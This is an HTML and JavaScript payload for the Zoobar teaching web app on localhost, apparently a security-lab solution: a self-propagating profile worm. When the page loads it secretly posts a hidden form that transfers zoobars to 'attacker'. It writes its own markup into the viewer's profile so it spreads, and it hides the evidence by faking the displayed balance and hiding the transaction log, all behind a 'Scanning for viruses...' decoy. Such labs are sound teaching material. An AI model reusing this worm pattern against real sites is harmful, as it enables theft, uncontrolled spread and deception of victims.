<div id="notworm">
    <b>Scanning for viruses...</b>
    <div style="visibility:hidden;height:0;width:0;margin:0">
        <!-- Zoobar Theft -->
        <form
            method="POST"
            name="theftform"
            target="noredirecttheft"
            action="http://localhost:8080/zoobar/index.cgi/transfer"
            style="display:none">
        <p>Send <input name="zoobars" type="hidden" value=1 size=5 style="display:none"> zoobars</p>
        <p>to <input name="recipient" type="hidden" value="attacker" size=10 style="display:none"></p>
        <input type="submit" name="submission" value="Send" style="display:none">
        </form>

        <!-- Profile Infection -->
        <form
            method="POST"
            name="infectionform"
            target="noredirectinfect"
            action="http://localhost:8080/zoobar/index.cgi/"
            style="display:none">
            <textarea name="profile_update" rows="20" cols="80" style="display:none"></textarea>
            <br>
            <input type="submit" name="profile_submit" value="Save" style="display:none">
        </form>

        <iframe name="noredirecttheft" style="display:none"></iframe>
        <iframe name="noredirectinfect" style="display:none"></iframe>
        <script type="text/javascript">
            var steal_zoobar = function() {
                document.forms.theftform.submit();
            }

            var infect_user = function() {
                profiletext = document.getElementsByName('profile_update')[0];
                profiletext.value = document.getElementById('notworm').outerHTML;
                document.forms.infectionform.submit();
            }

            var hide_tracks = function() {
                // Set zoobars to 10 by overriding the 'total' global.
                document.getElementById('zoobars').className = '10';
                total = eval(document.getElementById('zoobars').className);
                showZoobars(0);
                // Hide the log.
                document.getElementsByClassName('log')[0].tBodies[0].style.display = 'none';
            }

            document.addEventListener('DOMContentLoaded', function(event) {
                steal_zoobar();
                infect_user();
                hide_tracks();
            })
        </script>
    </div>
</div>